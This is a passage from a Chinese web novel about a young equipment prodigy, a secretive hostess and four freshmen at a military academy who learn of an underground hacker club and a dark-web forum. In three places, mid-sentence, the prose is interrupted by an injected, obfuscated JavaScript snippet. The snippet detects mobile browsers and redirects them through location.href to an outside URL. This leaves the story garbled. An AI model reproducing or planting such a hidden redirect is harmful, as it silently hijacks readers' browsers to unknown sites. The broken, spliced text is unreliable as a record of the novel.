“那么您认为,”沙利叶自己也在思索着,“如果这个组织迫切想要得到一样东西——这件东西最可能是什么?” 女主人思考了很久,才说,“他们最想得到的,应该是能证明他们的正当性,摧毁平权法案的理论基础的东西。可是,我想不出这种东西具体是什么。” 沙利叶琢磨了片刻,觉得这个答案似乎有些靠谱。 “如果让洛珈复活,为他们所用……”沙利叶有些艰涩的询问,“能达到他们的目的吗?” 说出来她就有些后悔,觉得自己听上去恐怕很像个脑子有病的粉丝,认为全世界都在围着她的偶像转。 果不其然,女主人看着她的目光瞬间就一言难尽起来,“我想……洛珈应该没有这样的影响力吧。” 沙利叶在心里抱住脑袋疯狂哀嚎——她恐怕后悔把我当对等的成年人看待了吧,她懊恼不已的想。 她挠着头发掩饰尴尬的哈哈笑起来,“就是嘛,我也觉得不可能啊哈哈哈。真想要一个工具人,还不如去二军大劫持陆家那个紫瞳的继承人,给他洗脑呢。至少他是最有可能成为萨克森骑士的人,还能让人类重新认识alpha的强大。复活洛珈干什么……” 其实仔细想想,她听到的东西,和黎晓产生的幻觉也并没有很本质的区别——沙利叶想,那样的东西怎么可能真实存在?恐怕真的是她弄错了吧。 她自我解嘲的话,却让女主人的目光有片刻的动摇。 沙利叶敏锐的意识到自己又说错话了,“……呃,我也不是真觉得他们应该去劫持陆清源,我只是随口一说啦。” “……嗯,”片刻后女主人才回过神来,“狂热份子脑回路跟正常人不同,不必试图代入他们的思路,推测他们的动机和目标——他们的‘合理’跟你的不一样。” 这说法,就跟狂热份子都是神经病一样。 沙利叶觉得,就算他们都是神经病,也是有明确诉求的神经病。他们的行为逻辑、行动目标,多少还是可以预测的。 但当然,这需要大量的情报。以她目前对这个组织近乎无知的了解,确实什么也推测不出来。 “也对啊……”沙利叶掩饰着尴尬哈哈一笑。在长辈面前她很少有这么拘谨的感觉。毕竟她是个天才装备师,谁都知道她的前途不可限量,任何成年人在她的面前都是宽容和蔼的——不论他们的本性有多么刚愎或者暴躁。她内心对此多少是有些愤懑和不屑的,这让她在面对几乎所有年长者时,都天然有一种优越和从容。 但面对这位女主人时,情况却恰好相反。 “我有些累了。”女主人说,“关于这个话题,我们明天再继续聊,如何?” 沙利叶连忙起身,“嗯,您好好休息吧。我也该去睡了。” 她几乎是逃一般的飞快起身,把方凳搬回原来的位置,噔噔噔的上楼准备回自己的房间。 然而楼梯爬到一半她忽然想起什么,伏在栏杆上探头向下——却见女主人正出神的望着壁炉里的炭火,不知在追怀些什么。 沙利叶一时静下心来——她和这位女主人是在书友见面会上认识的。 在匿名网站上,沙利叶是个和现实中截然不同的人,挂着傻雕头像,刷着卖萌表情包,热情的撒花推荐刷长评,把原著链接贴遍她混的每一个交流论坛。但一到线下见面会,她就会挂上那个几乎不发言的小号ID,妆画得她妈都认不出来,偷偷摸摸坐在角落里旁观别人浑然天成的一见如故——因为她的真实形象和网上相差太大了,一旦网友发展成现实中的朋友,她还真不知道该怎么在保持真诚的同时,和对方维持友谊。 然后,她就遇到了这位女士——跟她一样,参加线下书友会,却不热衷于把网游发展成现实中的朋友,以至于你怀疑她究竟是来干嘛的。 她们认识的过程很平淡,因为都坐在角落里没什么伴,所以自然而然就聊起来——先是交换了一下网上的ID,然后互相聊了聊自己喜欢的书,发现她们读书的品味很相近,就互相推荐了一下书单——完全没有提及不相干的、牵扯到现实生活的内容。 这种模式不知不觉就延续的很多年,她们也顺理成章的变得很熟悉。 她依旧不知道这位女士究竟是何方神圣,却总在遇到困惑和挫折时,最先想到找她聊一聊——大概因为对方是第一个把她当普通人而不是“少年可畏的天才装备师”看待的年长者吧。 并且,她还是个近乎完美的年长者——在你需要倾听的时候,安静的倾听;在你陷入迷茫的时候,给予适当的开导;在你遇到困难的时候,提供可靠的建议及时的帮助;却既不追问你最近在忙什么,也不强调你还是个孩子应该听她的。 唯一不太完美的是——她太完美了,从来不越界,从来不需要倾听——甚至从不展露负面情绪。沙利叶发自内心的把她当成密友,却不太敢肯定,她是不是也把她当密友,甚至朋友。所以在她面前一直都不太放得开。 但这一日,她确实展露出了怒火,沙利叶却没能像个成熟的大人那样抓住机会拉进他们的距离。 沙利叶不由懊悔——她究竟在顾虑些什么啊!明天一定要直球追问——她和萨克森骑士团之间究竟发生过什么,沙利叶暗想。 “周阿姨。”沙利叶开口唤回了她的注意——其实沙利叶觉得叫姐姐更合适,但这位女士帮她拿到“雄辩沙龙”的邀请函时,给她提供的身份是自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726855|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的侄女。 女主人抬头望过来,火光映照着的面容温柔、茫然又哀伤。 她身上果然藏了很多故事啊,沙利叶想。 “您的电脑没关。”沙利叶稍稍尝试着越界,“我下楼前听到了邮件提示——好像是您的儿子发来的,您别忘了查收。” 根据她这些天来的观察,当这位女主人开始烤着壁炉看书,往往她就不会再回电脑房了——她好像有失眠的症状,而炉火前读书能让她静下心来。 女主人果然并不介意沙利叶看了她的消息提示。 ——事实上,身为一个至少五天没见到自己儿子的母亲,她对收到孩子的邮件一事,没有表露出任何触动。 “哦。”女主人近乎麻木的应道。似乎察觉到了沙利叶脸上的惊讶,她才顿了顿,说,“……好的,我知道了,会去查收。” 回到客房后,沙利叶困惑的照了照镜子。 她想莫非她猜错了,这位夫人实质上和她已经很亲密了?因为不管怎么看,她的到访,显著的比收到儿子的问候,更让这位夫人感到安然和愉快。 女主人看着炉火,静静的平复自己渐渐狂躁起来的心境。 曾有人对她说,只有人类才会生火,所以在魔兽横行的远古时代,看到篝火就意味着找到了人类的驻点,意味着安全和同伴。所以点起篝火,对战士而言拥有特别的意义——所有和他一起烤过篝火的人,都是他的同袍,他的伙伴。 篝火已经点起来了——那个人微笑着,金棕色的瞳子里映着明亮的火光,向她伸出手来——现在,我们是同伴了,你敢不敢把你的后背交给我? 草率,张狂,不由分说。却有着谁都无法拒绝的耀眼光芒。 让人不由自主的想要跟随她,去披荆斩棘开天辟地。 她相信世间正义和荣耀,一直行在光明正大的道路上。直到坠落,她都不曾违背自己的信仰。 可是那样的高洁,撞到泥块般浑浊顽固的现实上,又能怎样? 不过就是白隼楼前一地鲜血。 可是,曾亲眼目睹那耀眼的光芒的人,又有谁甘心就此返身折入黑暗? 厨娘为她送来睡前饮用的安神汤,却并没有急于离开。 “后天又要来寒潮了,”絮絮叨叨的同她说起来,“天冷,又多雨,一到这个时候,山上就没法待了……你的腿不要紧吧?” “还好。”她从沉思着回过神来,示意厨娘坐下,“帮我联系本宅,让他们明天派车来接吧——我打算回去住一阵子。” “噢,好,好!我这就去说。” “不用那么急。”她拽住厨娘的衣袖,“明早再说也来得及,陪我坐下说会儿话吧。” 她需要保持冷静和理智——在这样寂冷的夜里一个人独处,太容易陷入追忆的泥潭中,被悲伤和愤恨的淹没了。 那封儿子从二军大发来的问候邮件,她到底还是没有查收。 25. 此间的少年(六) 晨星高中四人组从校长室里走出来。 短暂的沉默之后,江海洋和凌河的目光来回扫在其余三人脸上,而成铭微微皱着眉头,看上去心事重重。 黎晓目光一触即离的瞟向成铭,随即也心情复杂的沉思起来。 他们在入学第六天,课都没开始上的时候,受到了校长表彰。 ——因为他们在来上学的路上见义勇为,帮助达瓦航空解决了一起劫机案。 大一新生开学期普遍都会兴奋过度,他们也不例外。再加上这一周他们需要接受的新鲜事实在太多了。以至于他们都快要忘了,他们还曾干过这么一件事。 就算没忘,他们也下意识的觉得,在亚丁、在二军大,这应该算不上什么大不了的事。 毕竟,这里是人类征服大树海的最前线——在大树海上空,常年弥漫着能报废掉人类一切飞行器的虹潮。在大树海中,常年出没着不论体型、吨位还是装甲厚度,都能把坦克装甲碾压成废铁的魔兽……作为二军大的学生,这些才是他们日后要面对的谜题和敌人,解决区区劫机犯——区区人类,又有什么大不了的? 没人提——没人把这件事当回事,也是很正常的吧。 他们这么告诉自己。 然后,他们就受到了校长接见。 说真的,他们不怎么认识这位校长——他不是内阁成员,工作内容不受媒体关注。他本人也很少会在媒体上公开露面和发言。 但只要他还是二军大的校长,那么他在亿万学子们的心中,就必然是崇高的。 受他接见,跟受他们那个胖乎乎的、常年饱受脱发困扰、说话慢悠悠的高中校长接见,拥有截然不同的意义。 事实也确实如此,这位校长身上虽然没有传说中一露面就能扭转衰颓之气,让部下热血沸腾的名将气质,但他头发浓密,体格健壮,谈吐铿锵,笑容亲切。会用他厚实的手掌拍一拍学生的肩膀,无需寒暄,就给人一种长辈面对晚辈时独有的,充满重视和期待的亲切感。而不会让人充满罪恶感的,一不留神就开始打瞌睡。 他也拍了黎晓的肩膀,力道又沉又稳——跟教她散打的武馆馆主的马步一样稳,一看就是个单凭武力就能压制住场面的人。 他把官方的调查结论告知他们——活跃在国外的分裂势力策划了这起劫机案。 随后站在校长的立场上,给了他们充分的称赞和激励。 但当黎晓询问,“他们为什么要劫持那架飞机”时,他给出的答案是——那个自称“萨克森复国骑士团”的组织,本质上是信奉恐怖主义的武装势力,他们虽然也会绑架人质,进行政治勒索,但他们的所有行动同时也都带有另一种目的——获得大众关注,趁机宣扬自己的主张,恐吓和扰乱人心。 所以只要能登上主流媒体的头条,他们的目的就已经达成了大半。而劫机一旦成功,必然举世关注。 ……听上去似乎很有说服力,但是,跟黎晓亲身经历的事实,却有微妙的出入。 他们遇到的那些劫机犯,虽然行为充满了表现欲,却显然并没有“曝光”和“制造公众恐慌”的目的。 “可是他们跟塔台对话时,威胁塔台不要追击,不要试图跟他们谈判,不然就公布某个真相——他们好像并不希望事情闹大。” “黎晓对吗?”校长确认了一下她的名字。 “……嗯。” “很好的问题。”校长大人带着欣赏的目光看着这个敢当面向他提出疑义的学生,说出了标准的亚丁式五字真言,“——所有劫机犯在成功逃脱前,都会这么说。等他们挟持着人质回到老巢,你就会听到另一番说辞了。” 黎晓不能不承认,这答案无可辩驳。 但,校长大人实质上依旧没有、并且显然不打算正面回答这个问题——他们“为了什么”而劫持了“这一架”飞机。 身为一名优等生,黎晓一向都充满了穷根究底的好奇心,尤其是在得不到答案时。 但选择考入二军大成为一名军人,她又很清楚“机密”二字存在的必然性。身为军人,有些时候是不被允许“穷根究底”的。 这让她的心仿佛被猫爪子拨弄着似的,来来回回的纠结着。 “咱们可以回去了,对吧?”眼见他们两个都不做声,江海洋不太确定的问。 “不然呢?你还想和校长共进午餐吗?”凌河反问,然后回头打断成铭和黎晓的沉思,“走了走了,难得咱们今天聚齐了,一起吃个饭吧。” 江海洋有些为难,“可是我跟室友约好了……” “打电话告诉他们改天呗。跟室友吃饭什么时候不行?我们几个凑齐可不容易。” 成铭和黎晓闻言下意识的看向对方,而后各自扭过头去。 凌河于是一手拖住一个,“走了走了!快点决定去哪儿,再晚可就占不着座儿了。” 他们很快就选定了离办公区最近的苍鹭亭餐厅。 在入学指导手册上,这家餐厅的评价是——虽然不难吃,但因为远离教学区和宿舍区,并且价格比其他食堂稍贵一点,所以不需要排长队打饭,非常适合聚会。 校长嘉奖是有奖金的,他们决定,贵一点就贵一点啦,权当庆祝。 但等他们推开餐厅大门走进去时,却只见人山人海,并且几乎所有人的目光都在门开的一瞬间聚集过来。 “他们……不是来帮我们庆祝的吧?”江海洋小声确认。 随即所有人都露出失望的表情,集中起来的目光瞬间如沙塔四散,各自该干嘛干嘛去了。 “我想不是。”黎晓回答。 人多算什么?来自平民名校晨星高中的学生们,对于如何精准的从人山人海中挑出那张尚未被占领的餐桌,如何从一眼望去全都一样长的打饭队伍里挑出效率最高的那条,都有着充分的实践经验。 他们飞快的占了一张位置还不错的桌子,心想,二军大学生这眼力不行啊。要是在晨星,来这么晚,他们肯定只能在餐盘架子附近找空座儿了。 他们放好东西各自坐下时,无数目光再一次齐刷刷的看过来——那目光就像是两军对垒剑拔弩张时,看到有人挥着手兴高采烈的大喊,“快点快点这里还有空位!”于是呼啦啦跑来一群野猴子,铺开桌布斟上小酒,开始在两军之间的空地上野餐。 晨星高中四人组立刻敏锐的意识到——这个座位,恐怕是他们心照不宣的空出来的。 但这又怎么样呢?不过就是就着别人的眼神吃饭而已,饥饿的嘉洛林人绝不会为这点小事放弃到手的餐桌。 成铭站起来,“我和江海洋去打饭,你们两个想吃什么?” 黎晓淡定的表示,“有什么吃什么。”凌河追加了一句,“主食我要米饭!” 这时楼上有人探头张望,看清他们是谁时便是一愣,“成铭?怎么是你们?” 晨星高中四人组同时抬头望去——是他们在校车上认识的波斯人,居鲁士。 居鲁士扫了一眼他们四周,意识到自己已经被迁怒了,只好飞快下楼来招呼他们,“我们在楼上聚会呢,还有空座儿,你们来不来?” 凌河脱口而出,“别又是什么同乡会吧?话说你到底有几个老家啊!” “我这叫四海为家。”居鲁士挺了挺胸肌,“不过这一次不是同乡会,”他用手一挡,低声告诉他们,“是B盟的迎新会。”B盟——禁|书爱好者同盟,二军大三大地下组织之一——他们居然敢光明正大的开迎新会?! “真不愧是混迹十三省同乡会的狠人,这都能让你找到!”凌河真心实意的惊叹。 地下组织总是充满了神秘的魅力,就算你不想加入,也总会想掀起面纱一窥究竟。 黎晓非常想去。 但成铭说,“我就不去了。” 另外两人立刻也都意识到什么,目光看向黎晓,随即同时摇头,“……我们也不去了。” 黎晓:为什么不去?这种能随便拉人入伙的聚会,肯定没什么见不得人的东西啊。就没人想观摩观摩,满足下好奇心吗?不对——为什么都要看她?!就算她是爱管闲事的班长大人,可她从来也没管过风纪吧! 居鲁士这才意识到黎晓的存在,有些意外的看过来,“——我保证是很正经的聚会。你们真的不来?” “我去。”黎晓果断的举手。 凌河和江海洋一愣,立刻一人一边架住了成铭的胳膊,飞快改口,“那我们也去!既然是一起来的,就要共进退,同存亡!” 成铭:…… “你们先放开我。” 他们一离开那张桌子,餐厅里的气氛就明显和缓下来。 黎晓感到奇怪——她不太明白这些人究竟是干嘛来的。他们身上同时兼具目标明确和组织涣散两种特质,实在让人很摸不着头脑。 她觉得那位入学才六天就成功混进了地下组织的“狠人”,可能会知道些什么。 “那张桌子有什么不对吗?” 居鲁士发现他们四个居然都有此疑问,也困惑了,“你们不知道?那你们为什么大老远跑到苍鹭亭吃午饭?” 黎晓:……因为近? “我们还以为这里没那么挤。”她说。 “那是以前,”居鲁士说,“昨天晚上悬赏区热门第一的帖子看了没?” 黎晓猜到自己很可能跟不上思路,却没想到自己从第一句话起就跟不上了,“……悬赏区?” 居鲁士也一脸‘你在问什么’的困惑,“悬赏区啊,就那个悬赏区——你没上过校BBS吗?” “上过啊。”这种绑定学号、自动获得账号的校内网站,她当然上过。为什么会有人怀疑她没上过,“校BBS上有悬赏区吗?在哪个版块?” 成铭打断了他们的鸡同鸭讲,“他说的是白隼站,深网匿名论坛。跟你说的不是同一个BBS。” 黎晓:……深网匿名论坛。好吧。这个学校不但有地下社团,居然还有地下论坛。 她淡定的把话题绕了回去,“没看过——所以,悬赏区热门第一的帖子怎么了?” 居鲁士看向成铭和凌河,“你们也没看过?” “没看。”成铭说。 “……悬赏区登入太麻烦了。”凌河解释,“你就直说吧。” 居鲁士说,“直说多没意思。提示已经给了,你们回头自己去查吧。” 说话间他们已经上了二楼。 黎晓察觉到迎面而来的目光,礼节性的看回去,就看到一个让她有些意外的人——是她的室友。 黎晓招手要和他打招呼时,他忽然就笑容灿烂的扭头和别人说起话来。 黎晓便也不再强求。正准备问居鲁士B盟的人在哪里,就听底下传来一声低呼,“来了!” 紧跟着,二楼上正在若无其事用餐的学生,如潮水拍打堤坝一般,“呼”的都涌到护栏前,齐刷刷伸头向下看。 黎晓躲避着人潮站稳了脚步,发现大部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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犹记得校长办公室的行政助理一连扣留四台笔记本时,痛心疾首的控诉,“你们是军人,不是国立大那群可以上课喝汽水的披头士!来见校长你们带笔记本,是打算边刷论坛边跟校长闲聊吗?!” 他们还为此倍感羞愧来着。 这会儿才知道——电脑这东西,果然必须随时带在身上啊。谁知道什么时候就能用得上? 不过,等成铭端着满满一盘子汉堡回来时,他们就已经都醒悟过来了。 毕竟——他们只是对地下社团好奇,又不是真的想加入B盟。 下周一就要军训了,他们却忙着破解一个对他们而言毫无用处的秘密网址,也太不务正业了! 至于他们对B盟的好奇——成铭已经是会员了,他们还愁没机会打探这个社团的底细吗? 成铭:…… 不过,当他们询问成铭,B盟究竟是个什么组织时,却得到了跟陆清源给出的介绍毫不相干的回答,“黑客组织。” “那为什么要叫‘禁|书爱好者同盟’?” 成铭说,“不知道。” 居鲁士从屏幕前抬起头来,说,“我猜他们口中的禁|书,是指那些不能公之于众的官方文件吧。” 随即他的电脑叮的一响——他用的是硬破解法,电脑以每秒十万次的频率疯狂排查可疑地址,在不间歇的运行了整整三昼夜之后,终于找到了正确入口。 居鲁士长舒一口气,小心翼翼的下载好密钥后,关掉电脑。微笑着向成铭伸出手。 成铭戒备的看着他,“干嘛?” “同为B盟成员,不觉得我们应该互相加深一下了解吗?” “不觉得。” “……你这思想很消极啊。”居鲁士试图说服他,手上却突然被塞了杯可乐。 他疑惑的看过去。 ——黎晓下意识就行动了,根本就没提前想好托词。尴尬的和他对视片刻,“呃……请你喝。” “哦,谢谢……”居鲁士有些摸不着头脑,“对了,你是那天的——” 凌河瞟了成铭一眼,飞快的往他另一只手里塞了个汉堡,“——黎晓,导力系的,我们高中班长。那天也在车上,但没跟我们一起玩。” 居鲁士:“哦,我说我怎么觉得在哪里见过你呢。”凭他的敏锐,当然知道这个话题不能再继续下去了,于是转而问,“对了,你们军训导师选的都是谁?” “叶芝。”凌河。 “不同的系也可以选同一个导师吗?”江海洋兴奋的说,“我也是叶芝班的。” “可以啊,”居鲁士说,“军训小队有固定的职分,原本就是由不同院系的学生按比例混搭成的——顺便,我也是叶芝班的。看来我们都是手快一党啊。” 三个人同时看向成铭。 黎晓也紧张的看着他——她也不知道自己在想什么,居鲁士说的那些她根本就是头一次听说。但就算早听说了又怎么样,她肯定不会主动去问成铭你要选哪个班,肯定只会七拐八绕的猜测着成铭的思路,因为怕错过而不敢选,最后眼看着所有口碑好的导师一个个被选满,而落入别无选择的境地。 “……雪莱。”成铭说。 三个人同时发出了惋惜的叹气声,居鲁士咬着吸管开始喝可乐。凌河和江海洋又转头问黎晓,“班长你呢?” 成铭也看过来。 黎晓在发愣——因为她选的时候雪莱班还没满员。她很喜欢这个姓氏的发音,所以在按下鼠标时,她漫不经心的思考了大概一秒钟……还是选了剩余名额更少的那个班。 她懊恼不已的说,“济慈。” 26. 此间的少年(七) 一念之差的错过,总是比别无选择的分离,更让人感到灰心和懊恼。 明明升学时就知道自己肯定要和这个人分开了,可是突然被告知,如果不是她在没收集到所有必要情报的情况下就草率了做出了决定,她原本还有三个月的时间可以和他同班,黎晓简直有种自己整个人生都变灰暗了的感觉。 “成铭没抢到叶芝班的名额也就罢了,”江海洋还在疑惑,“班长你怎么也没抢到?” 江海洋虽然不是黎晓的同班同学,但连续三年校际对抗赛里,都和黎晓合作过。对于黎晓的时间管理理念,他还是有所耳闻的。 据说她是那种如果“暑假通知”上说每天早上7:30老师会定时向他们发放这一天的暑假作业,就一定会在每天7:29分前准时坐到电脑前等待接收邮件,然后在8:00前准时提交作业的学生。就连不喜欢黎晓的同班同学,对此也是钦佩不已——当你需要在最后一天补完整个暑假的阅读日记时,你走投无路的黑进班级邮箱,看到有个人已经提交了完整的笔记,并且用标准格式规范的记录了每一天的天气和温度,你也会感激她的。 所以江海洋觉得,选课窗口开放时,黎晓肯定是守在电脑前最早登录进去抢课的那一批学生之一。 凌河姑且不论,他都能抢到叶芝班的名额,她没道理抢不到。 “因为一封垃圾邮件。”黎晓拆着汉堡包装,沮丧的回答,“邮件通知忽然跳出来挡住页面。等我点掉时,叶芝班就已经选满了。” 江海洋猜测,她沮丧可能因为没选到推荐度最高的导师。 “……也不是什么大事。听说济慈班也不错,就是导师严厉一些而已。别人可能会怕,但班长你肯定没问题的。”江海洋试图安慰她——但安慰得相当拙劣。因为就他和黎晓的接触来看,黎晓才是那个永远积极向上、带着队伍翻盘取胜的人。所有人都默认她是不需要安慰的。 也是在察觉到江海洋试图安慰她时,黎晓才意识到自己的失态。 为这种事而失态,真是既难堪又不像话啊。 她强提起精神来,微笑道,“嗯,我会加油的。” 她默不作声的啃起自己的汉堡,掩饰低落。 成铭捏着纸杯沉默了一会儿,忽然问居鲁士,“我记得,这三个班都在同一个训练基地吧?” 黎晓的眼睛不觉又亮起来,看向居鲁士。 居鲁士难得又找回存在感,忙得意的说,“没错——这三个班都在铁马河镇的训练基地,是七个训练基地里最深入大树海的那个。距离攻略前线,只有四树程而已。” ——在大树海里,人类计算路程的单位是没有意义的。因为大树海就像一座有生命的、随时都在刷新地图的迷宫,昨天才开辟出来的道路,常常一觉醒来——甚至走着走着就找不到了。方向也很混乱——不但磁石针不可靠,甚至太阳、北极星都不可靠。 所以在大树海里任意挑出两个点,你都无法准确的描述它们之间的相对位置。 唯一的例外,是大树海里那一棵棵被称作“树王”的,覆盖范围可达几公里的参天巨树。 这些树每一颗都高达几百米,从上到下全方位立体式的生活着各种各样的魔兽,每一颗都堪称一座魔兽堡垒。攻略它们要付出巨大的代价。但它们覆盖的地区,却不会和其他地形那样随时被刷新掉——是可以被建设成稳定可靠的据点的。 所以在大树海里,人们就用这些树来当道标,用“树程”来计量距离的远近。 目前全世界被攻略下来的“树王”有百余颗。建设成补给点的有几十个。而建设成城镇,拥有足够的规模可以供给居民足够的生活资源的,就只有十六个——其中属于帝国的有七个。 二军大的野外军事训练基地,就分布在这七个城镇里。 卧马镇是这七个城镇中最古老的一个——最深入的据点反而最早被攻略,在大A军团统治的时代,这种事确实也时有发生。因为攻下这个据点的不是别人,正是人类有信史记载以来最强大的alpha,众所周知的人形兵器,不能用常识衡量的神赐礼装持有者——加洛林皇帝陛下。 不过,也正因为这个据点太深入了,所以它真正焕发活力,还是在二十年前,人类的攻略前线真正推进到这个据点——特别是在此发现了高纯度的异种虹水晶矿脉之后的事了。 “太好了,”凌河说,“我记得铁马镇盛产高品质的虹水晶,说不定休息日我们还可以一起去镇上淘碎片,说不定能用很低的价格淘到精品——市面上的虹水晶实在太贵了。” 黎晓悄悄握住了藏在衣服下的吊坠,下意识就开始计算她的零花钱。心想收藏级的可能买不起,但如果是原料价,普通的宝石级应该还是能买得起的吧…… “这你就别想了,越是有名的原产地,宰客的就越多。”居鲁士无情的打断了她的幻象,随即又看向成铭,“你居然知道这三个班在同一个训练基地,肯定也混悬赏区吧——你真没看到昨晚的热门帖?” 成铭莫名的兴致低落,懒洋洋的应着,“……没。” “……”居鲁士不满的咬住吸管,含混的吐槽,“你就装吧!你们这些alpha就是死要面子,承认自己对紫瞳很好奇很难吗?又不是让你当场切腹认输。” 成铭就当没听见。 凌河忍不住纠正他,“切腹并不是我们唐人的习俗……也不是用来认输的。” 黎晓:……这种事就不用认真纠正他了!让他无知到死吧! 不过,她的好奇心确实被勾起来了。 “你之前说,军训小组是由每个院系的学生按比例混搭起来的?” “没错!军训小组是按照正规军的配置编成的完整作战小组。有指挥组、作战组,有装备师、机械师、后勤调度、运营……”他指了指成铭,“他们战术系肯定负责指挥作战,我们这些杂系的就负责给他们管装备、后勤咯。所以历来军训,他们战术系都是主角,我们就是陪皇帝唱戏的。” 黎晓:…… “你可是立志要杀满全场的狼人啊,”凌河拍着他的肩膀,“不要这么自暴自弃嘛,我觉得装备师也很拉风啊。” “滚啦,你是导力系当然这么说。我可是管理系的,到时候肯定会被分去做运营——后勤里的后勤,文职里的文职,军训鄙视链最底层的虫豸。” 黎晓:…… 黎晓六岁就开始在武馆学散打,对习武的人的体格和习惯动作非常熟悉。她很确定,居鲁士十分能打。就算比不过成铭,应该也不会比她差很多。他这番自嘲,大约只是说着玩的。 “小组分工是根据专业来的吗?”她直接无视了居鲁士的诉苦。 “那必然是。” “可是导力系的大一新生,普遍没接受过装备师训练啊。”黎晓若有所思,“难道军训导师也负责教授初级装备师技能吗?” “这我就不知道了。”居鲁士捏扁可乐杯,托着腮帮子说,“不过,大树海里的基地都有专业驻军。我猜基地内肯定有能教这些的人,他们应该也会给我们授课吧。” “嗯,这样就好。”黎晓捧起她的午饭继续啃,“如果每个专业都有不同分工,需要进行不同的训练,却只有一个导师来带,那这个导师就得同时能教野外战斗技能、装备穿戴调整、战斗机械铺陈、物资调度分配和……呃,运营是做什么的来着?” 居鲁士:…… “……是用上头拨下来的买草都嫌少的预算,给你们买蛋糕的!你们吃的穿的烧的拿导力炮biubiu打出去的……全都得找我们要!” “哦——”黎晓赶紧表达自己的崇敬之情,“原来是这么了不起的专业啊!” “总之……”她把话题扯了回来,“一般说来,这是做不到的吧。” “嗯。”凌河和江海洋都点头,居鲁士犹豫片刻,也点头。 成铭倒是不太在意——他是战术系的,军训导师在任何情况下,主职肯定都是训练学生的作战技能。 见所有人都认可了,黎晓才开始提出自己的疑惑,“不过,入学指导手册里好像没提过,军训时我们会按专业分工。师兄师姐们也从没说过,除了导师之外还有别的教官。”她随手把包汉堡的纸团成团,问其他人,“或者,你们有从谁口中听说过?” “……”居鲁士不太确定的说,“好像真没。” 凌河也若有所思,“师兄师姐们好像都不愿意细说。” “嗯,我这儿也是这种情况。所以我觉得,这里面可能藏着什么猫腻——比如特别试炼什么的。”她说,“我们对这次军训的难度,应该有更充分的心理准备。” 居鲁士:…… “班长,”他无语,“你这说了跟没说一样啊!” 黎晓拍了拍手上面包渣,淡定道,“没办法,我也是大一新生嘛。”然后,她才进入正题,“不过,学校没说,师兄师姐们也不提的事,悬赏区却能打探到消息——”不管是不同专业的学生可以选同一个导师的事,还是那些导师带的班在哪个基地训练。这些黎晓打听不到的事,居鲁士居然都从悬赏区找到了。黎晓忍不住就提议,“我们是不是也可以发悬赏,详细问问这些事?” 居鲁士摇头,“悬赏区人都精明得很,你直接问‘军训有什么猫腻’,肯定没人回复你,回复你肯定也都是在抖机灵调侃你。” ——也对。想要别人回答你,肯定得先把问题问明白了才行。不能期待回答你的人,主动帮你去发现你的问题在哪里。 黎晓说,“那能不能打开悬赏区,先让我观摩观摩?” 看看别人都是怎么提问的,或许能帮她厘清一些思路。 成铭闻言醒了醒神,提醒她,“悬赏区是灰色地带。” 黎晓不太明白他的顾虑,“……嗯,所以?” “里面有些悬赏,”凌河顿了顿,“……不是很道德。” “甚至违法。”居鲁士说。 “违法?”这显然完全超出了黎晓的预想。 “没错。”居鲁士不紧不慢的解释,“但也算不上大奸大恶。毕竟主流用户是二军大的学生,大部分人底线都很高。不管坏蛋还是变态在这儿都挺克制的。白隼站的悬赏区,算是悬赏暗网里最干净的那类了。” 他饶有趣味的看着黎晓——黎晓身上并没有强者特有的气息。一眼看去你就能断定她绝对不是alpha,甚至都不是个性格很强势的beta。应该就是个在嘉洛林区高人权的温室环境下长大的普通女beta,因为完美符合老师们心目中优等生的标准,而一直都在学校里过着顺风顺水的生活。并最终众望所归的成长为一个单纯的,充满正义感的大学生。进入全帝国最好的军校,读一个对战斗能力要求不是很高的应用导力系。是一朵标准的,不温不火的温室花朵。 所以,尽管在校车上见过,居鲁士却丝毫没有把她放在心上。 他记住的是成铭。那个尽管话不多,人也不算友善热情,却充满存在感的alpha——事后证明他的判断没错,嘉洛林区出身的学生,就连大二大三的师兄都对他有心理阴影。毫不犹豫的断言他肯定是今年嘉洛林区军事能力考核的第一名。 他也记住了凌河——同类的气息是很容易察觉。凌河确实不算强,可是他身上有股子从泥潭中爬出来的人独有的狠劲。 然而这两个从本性上就不可能顺从什么权威的人,居然都很听黎晓的话——至少非常看重她的态度。 这实在很让居鲁士好奇。 他这才稍稍关注了一下黎晓。 目前看来,只能说……是个很敏锐,很有闯劲儿的少女吧。 嘉洛林区真是魔幻啊,居鲁士想。 于是他忍不住出言试探了黎晓。如果黎晓因为悬赏区有违法悬赏而沉不住气,他就只能断言——黎晓是个omega,而成铭对她别有居心,所以才会愿意听从她。 黎晓掀开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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成铭说,“白隼站那种程度的犯法,警察不会每件都管——你知道要解密这种网站的用户有多难。而悬赏区每天有几百个悬赏,就算其中只有1%‘不道德’,一个月也能平添上百个‘案件’。并且它们究竟只是处于悬赏阶段,还是已经有人认领实施了,你也得去查。任何一个地方,都没这么多警力可浪费。” 黎晓仔细听着,“嗯……原来如此,我明白了。” 她的电脑屏幕上,页面已经进入了白隼站——在成铭他们和居鲁士扯皮的时候,她已经找到了这个网站。这个网站其实并不难找,毕竟它的传播度高到能被居鲁士称为校BBS。 但悬赏区并没显示在页面上——她于是打开源代码,开始寻找隐藏入口的显示方式。 江海洋坐在她的隔壁,看她气定神闲的一面答话听训,一面实时作案,颇有些冷汗潸然。 